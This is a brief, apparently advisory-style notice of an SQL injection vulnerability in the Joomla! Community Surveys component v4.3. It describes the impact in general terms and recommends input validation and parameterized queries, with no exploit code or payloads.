Joomla! Component Community Surveys v4.3 – SQL Injection

An attacker can exploit a SQL injection vulnerability in Joomla! Component Community Surveys v4.3 to gain access to the database. By sending a specially crafted HTTP request to the vulnerable application, an attacker can execute arbitrary SQL commands in the back-end database. This can be used to access or modify data in the back-end database, or to gain access to the underlying file system and operating system.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in SQL queries. Additionally, parameterized queries should be used to prevent SQL injection attacks.
